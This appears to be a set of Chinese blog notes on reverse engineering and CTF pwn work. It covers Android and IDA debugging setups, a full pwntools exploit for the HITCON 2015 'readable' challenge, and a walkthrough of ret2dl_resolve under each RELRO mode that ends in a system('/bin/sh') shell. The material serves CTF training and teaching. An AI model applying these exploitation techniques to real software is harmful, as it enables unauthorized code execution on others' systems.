第一种方法(jeb)

  1. 在模拟器或者真机中安装并运行apk
  2. 以调试模式启动应用
    adb shell dumpsys activity top | head // 获取package name和activity name
    adb shell am start -D -n packagename/.activityname
  3. 在jeb中设置断点,点击debug,选择设备和对应的调试进程

第二种方法(Android Studio + Smalidea)

  1. 使用apktool或者Android Crack Tool解包apk
  2. 将解包的工程导入到Android Studio中
  3. 以调试模式启动应用
    adb shell am start -D -n packagename/.MainActivity
  4. 启动monitor,选中调试应用,开启8700端口
  5. 在smali中设置断点,并且设置远程调试(Run->Edit Configurations-> + -> remote,设置端口为8700),点击debug

转自http://blog.smvirus.com/2015/08/02/ida-pro-dump-memory-script/

使用IDA Pro调试程序时偶尔会遇到dump内存的需求,IDA Pro并没有直接提供内存dump的功能,但可以通过其提供的接口用脚本来实现相关功能。

IDC脚本

auto i,fp;
fp = fopen("d:\\dump","wb");
for (i = start_address; i <= end_address; i++)
     fputc(Byte(i),fp);

IDA Python脚本

import idaapi

data = idaapi.dbg_read_memory(start_address, data_length)
fp = open('d:\\dump', 'wb')
fp.write(data)
fp.close()

相对地址跳转

伪代码机器码示例
jmp short s eb+offset(1个字节) eb03 ,ebfd
jmp near ptr s e9+offset(4个字节)e996000000, e964ffffff

绝对地址跳转

位数伪代码机器码示例
32位push addr; jmp esp;68+addr(4个字节 )+ffe4 68afbeaddeffe4
64位mov rax, addr; jmp rax; 48b8+addr(8个字节)+ffe048b8afbeaddeafbeafdeffe0

readable下载:

readable

checksec:

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

逻辑:

非常清晰的栈溢出漏洞,刚好可以覆盖到返回地址,

Exp如下:

#!/usr/bin/env python
from pwn import *
import pdb
import sys


binary = ELF("./readable")
context.terminal = ['tmux', 'splitw', '-h']
DEBUG = 1
GDB_DEBUG = 1

if len(sys.argv) > 1:
    DEBUG = int(sys.argv[1])

if DEBUG:
    context.log_level = 'debug'
    proc = binary.process()


def writeData(data, addr):
    content = "A" * 16
    content += p64(addr + 0x10)  # written from this address - 0x10
    content += p64(0x400505)
    content += data.ljust(16, '\x00')
    content += p64(0x600e00)
    content += p64(0x400505)  # lea rax, [rbp+buf]
    proc.send(content)


def exp():

    buf_base = 0x600c00  # buf_base - .dynmaic->VERSYM >= 0x180
    # because sub esp, 0x180 in _dl_runtime_resolve_avx, otherwise
    # it will overwrite .dynamic section
    buf = p64(0x400593)  # pop rdi; ret
    buf += p64(buf_base + 0x28)  # binsh address
    buf += p64(0x4003d0)  # plt0 address
    buf += p64(0)
    buf += "system".ljust(8, '\x00')
    buf += "/bin/sh\x00"

    # modify .dynamic STRTAB and SYMTAB
    dynamic_addr = 0x6006f8
    # STRTAB is the 8th item in .dynamic section, and SYMTAB is just behind
    buf2_base = dynamic_addr + 8 * 0x10
    buf2 = p64(5)  # DT_STRTAB
    buf2 += p64(buf_base + 0x20)  # fake strtab address
    buf2 += p64(6)  # DT_SYMTAB
    buf2 += p64(0x600f00)  # fake symtab address,default 0

    if DEBUG and GDB_DEBUG:
        gdb.attach(proc, """
            b *_dl_fixup+0x209
            """)

    for i in range(0, len(buf), 16):
        writeData(buf[i:i + 16], buf_base + i)

    for i in range(0, len(buf2), 16):
        writeData(buf2[i:i + 16], buf2_base + i)

    # pdb.set_trace()
    proc.send('\x90' * 16 + p64(buf_base - 8) + p64(0x400520))

    proc.interactive()


exp()

参考:

https://github.com/pwning/public-writeup/blob/master/hitcon2015/pwn300-readable/writeup.md

可用工具: roputils.py

适用场景:

  • 无法leak内存
  • 所有可以采用stack pivot的场景

一、(Partial RELRO 或者 no RELRO) and no PIE

1. 32位平台:

_dl_runtime_resolve(link_map *, reloc_offset)

利用roputils的dl_resolve_call(base, binsh_addr)和dl_resolve_data(base, “system”)完成system(“/bin/sh”),注意:连续写入dl_resolve_call和dl_resolve_data的数据时,要将dl_resolve_call放在dl_resolve_data的内容之前,否则sub esp会覆盖前面的数据

2. 64位平台

_dl_runtime_resolve(link_map *, reloc_index)
  1. 无RELRO的情况下,可以修改.dynmaic段中的DT_STRTAB指向.bss(注意要与.dynamic段的倒数第二项VERSYM保持至少0x180的间距),修改.dynamic段中的SYMTAB指向.bss,伪造sym,绕过sym->other检测,然后在STRTAB+sym->st_name的位置写入”system”,参考 http://skysider.com/?p=602
  2. Patial RELRO
    1. 可以leak时,需要leak link_map,令 link_map +0x1c8 = 0(对应link_map->l_info[49])(此时也可以leak 函数地址,然后确定libc版本,return-to-libc)
      if(__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
      {
          const struct r_found_version *version = NULL;
          
          if (l->l_info[VERSYMIDX(DT_VERSYM])!=NULL)
          {
           const ElfW(Half) *vernum = 
             (const void *) D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
           ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7ffff;
           version = &l->l_versions[ndx];
           if(version->hash) == 0
               version = NULL;
          }

      在伪造sym之后造成VERSYM取值超出范围,造成segment fault

    2. 无leak(前提需要知道libc版本,需要有一个已经resolved过的函数)
      1. 修改link_map指针(GOT[1],令其指向一个解析过的函数的GOT表项,比如.got[‘read’])
      2. 正确构造link_map中的l_info[DT_JMPREL]、l_info[DT_SYMTAB]、l_info[DT_STRTAB](可与原有的link_map值相等)
      3. 伪造index, 使其指向伪造的 reloc
      4. reloc->info>>0x20为SYMTAB的下标,使其指向伪造的Elf64_Sym项
      5. if((sym->st_other) & 3 ) != 0) // 如果已经resolve过
            value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value)

        令sym->st_other的第2位为1,此时调用 DL_FIXUP_MAKE_VALUE宏返回解析过的函数地址,正常情况下,link_map的l_addr=0(代表ELF文件中的虚拟地址与实际加载地址之间的差值),  sym->st_value为0,(got表项中的函数解析地址与实际虚拟地址之间的差值)。而通过伪造link_map指针,使l->l_addr为解析过的函数地址,sym->st_value为system地址与该函数地址之间的差值,二者之和就是system的实际地址。解析后的system地址存放在reloc->offset + sym->st_value的地方,要确保可写

二、Full RELRO:

前提:可以leak内存

常用思路:读取.dynamic段中的d_tag=DT_DEBUG的项,其中的d_value指向一个r_debug结构体,定义如下:

struct r_debug { #64位版本
    int r_version;
    struct link_map_public *r_map;
    Elf64_Addr r_brk;
    enum {RT_CONSISTENT, RT_ADD, RT_DELETE} r_state;
    Elf64_Addr r_ldbase;

其中r_map成员指向link_map链表的头节点,头结点为当前elf文件的link_map,伪造link_map中l_info[DT_JMPREL]和l_info[DT_STRTAB],伪造.rel.plt表以及.dynstr表,使rel表项指向已有的.dynsym项,由于.dynstr表被伪造,st_name指向fake .dynstr中的字符串。

第二个问题是需要调用_dl_runtime_resolve,但是开启了 Full Relro的程序 .plt.got表中没有该函数的地址,此时可以去遍历link_map链表,通过link_map->l_name可以获取当前加载库的路径,从中可以找到未开启Full Relro的库文件(比如libc.so.6),读取link_map->l_info[DT_PLTGOT]->d_val可以找到.plt.got的地址,读取GOT[2]就可以找到_dl_runtime_resolve的地址。

以上图片来自http://www.inforsec.org/wp/?p=389

附:

/* Dynamic section tags.  */

#define DT_NULL		0
#define DT_NEEDED	1
#define DT_PLTRELSZ	2
#define DT_PLTGOT	3
#define DT_HASH		4
#define DT_STRTAB	5
#define DT_SYMTAB	6
#define DT_RELA		7
#define DT_RELASZ	8
#define DT_RELAENT	9
#define DT_STRSZ	10
#define DT_SYMENT	11
#define DT_INIT		12
#define DT_FINI		13
#define DT_SONAME	14
#define DT_RPATH	15
#define DT_SYMBOLIC	16
#define DT_REL		17
#define DT_RELSZ	18
#define DT_RELENT	19
#define DT_PLTREL	20
#define DT_DEBUG	21
#define DT_TEXTREL	22
#define DT_JMPREL	23
#define DT_BIND_NOW	24
#define DT_INIT_ARRAY	25
#define DT_FINI_ARRAY	26
#define DT_INIT_ARRAYSZ 27
#define DT_FINI_ARRAYSZ 28
#define DT_RUNPATH	29
#define DT_FLAGS	30
#define DT_ENCODING	32
#define DT_PREINIT_ARRAY   32
#define DT_PREINIT_ARRAYSZ 33

参考:

  1. http://angelboy.logdown.com/posts/283218-return-to-dl-resolve
  2. http://code.metager.de/source/xref/gnu/src/include/elf/common.h
  3. http://www.inforsec.org/wp/?p=389

环境:

  • MacOS(宿主机)
    • android-studio(包含adb、monitor、jdb等工具)
    • socat
  • Windows(虚拟机)
    • ida pro(包含android_server)
  • Android模拟器或手机(android)
    • 待调试app

注意:

  1. 如果是模拟器进行调试,ro.debuggable默认为1,不需要二次打包
  2. 如果是真机进行调试,有2种比较方便的方法
    • 对app进行二次打包,修改AndroidManifest.xml中application,添加android:debuggable=”true”
    • 安装xposed框架(需要root,刷第三方recovery),之后安装xinstaller模块,设置xinstaller启动专家模式,在其他设置中开启“调试应用”

运行:

1.  运行android_server(默认开启23946端口)

adb push android_server /data/local/tmp/

adb shell
su
chmod 777 /data/local/tmp/android_server
/data/local/tmp/android_server

2.  开启端口转发

adb forward默认转发到localhost的指定端口,因此需要进行端口转发使虚拟机可以访问

adb forward tcp:23945 tcp:23946
socat TCP4-LISTEN:23946,reuseaddr,fork TCP4:127.0.0.1:23945 &

3.  以debug模式启动程序

adb shell dumpsys activity top | head # 查看top activity信息,作为下面-n的参数
adb shell am start -D -n com.yaotong.crackme/.MainActivity

4 开启ddms

monitor,选中要调试的app(开启8700端口)

5.  ida attach target app and suspend on libary loading,F9继续运行(Windows)

6.  用jdb将app恢复执行

jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700

7.   add breakpoint at JNI_OnLoad(Windows)

参考:

  1. http://wooyun.jozxing.cc/static/drops/tips-6840.html
  2. http://wooyun.jozxing.cc/static/drops/mobile-5942.html

环境:

安卓手机(android5.0及以上, arm64, root)

笔记本

工具:

adb、termuxf-droid(可选,可通过f-droid安装termux)

步骤:

1. 安装termux (手机)

2. 安装sshd

运行termux

apt update
apt install -y openssh
whoami # u0_a279
sshd

 

3. 建立ssh连接(电脑)

adb push ~/.ssh/id_rsa.pub /data/local/tmp/
adb shell
>su
#cat /data/local/tmp/id_rsa.pub >> \
    /data/data/com.termux/files/home/.ssh/authorized_keys
#chown u0_a279:u0_a279 /data/data/com.termux/files/home/.ssh/authorized_keys
exit
exit
ssh $ip -p8022

 

4. 安装软件

apt install -y python2 python2-dev socat \
               strace clang make gdb git wget\
               libffi-dev openssl-dev file \
               tsu tmux
pip2 download capstone
tar zxf capstone-3.0.4.tar.gz
cd capstone-3.0.4
termux-fix-shebang src/make.sh
python2 setup.py install
cd .. && rm -rf capstone-3.04. && rm capstone-3.0.4.tar.gz
pip2 install pwntools
termux-setup-storage # 获取sdcard访问权限
tsu # 切换到root账户

 

参考:

https://termux.com/linux.html

https://termux.com/ssh.html

在ctf比赛中,有时调试一个pwn题目,发现直到调用system函数、传参时都是对的,但是system函数会执行失败,就是无法拿到shell,在这里总结了一下可能的原因:

  1. 在调用system函数时,esp指针指向的区域前面不存在一定空间的可写数据区,原因是在函数执行过程中,会维护自己的栈帧(sub esp, xxxx) —— fake frame时需要注意
  2. system函数的调用流程:system -> do_system->execve,execve函数执行时,会有三个参数:
    __execve (SHELL_PATH, (char *const *) new_argv, __environ);

    其中,

    SHELL_PATH = "/bin/bash";
    const char *new_argv[4];
    new_argv[0] = SHELL_NAME; // "sh"
    new_argv[1] = "-c";
    new_argv[2] = line;
    new_argv[3] = NULL;
    
    environ="HOME=skysider" // or ""

当environ指向的栈数据被无效数据覆盖时,就会调用失败。因此可以采用gdb动态调试的方法,若发现system函数能够执行到execve函数,可以观察此时execve的几个参数值是否正常,若异常,就可以去寻找对应的原因。

调试技巧:

b system
b execve
stack // 查看堆栈数据,SHELL_PATH和environ
x/s *(char**)(*(char **)($esp+8)+8) // 查看 line

PWNDocker:

1. 介绍

一个基于phusion/baseimage的docker容器,用于ctf中的PWN类题目

2. 使用

docker pull skysider/pwndocker

docker run -it --rm -name testctf -v $(pwd):/ctf/work --cap-add=SYS_PTRACE skysider/pwndocker

3. 包含的软件

  • pwntools —— CTF framework and exploit development library
  • gdb-peda —— Python Exploit Development Assistance for GDB
  • Pwngdb —— GDB for pwn
  • ROPgadget —— facilitate ROP exploitation tool
  • roputils —— A Return-oriented Programming toolkit
  • linux_server[x64] —— IDA 6.8 debug server for linux
  • tmux —— a terminal multiplexer
  • ltrace —— trace library function call
  • strace —— trace system call

附:

docker hub地址:https://hub.docker.com/r/skysider/pwndocker/

github地址:https://github.com/shenyuan123/pwndocker

1.静态分析

IDA FLIRT Signature Database —— 用于识别静态编译的可执行文件中的库函数

IDA signsrch —— 寻找二进制文件所使用的加密、压缩算法

IDA scope —— 自动识别windows函数和压缩、加密算法

Ponce —— 污点分析和符号化执行工具

snowman decompiler —— C/C++反汇编插件(F3 进行反汇编)

keystone —— 二进制文件修改工具,可以直接修改汇编

CodeXplorer —— 自动类型重建以及对象浏览(C++)(jump to disasm)

IDA Ref —— 汇编指令注释(支持arm,x86,mips)

Hexlight —— 大括号高亮匹配及跳转(B跳转到匹配括号)

2.动态调试

IDA sploiter —— 漏洞利用开发工具,寻找gadget

DIE —— 动态调试增强工具,保存函数调用上下文信息

sk3wldbg —— IDA动态调试器,支持多平台

逆向分析常用方法:

利用ida scope脚本识别加密、编码算法,file->script file->IDAscope.py

利用signsrch插件识别加密、编码算法 edit->plugins->Signsrch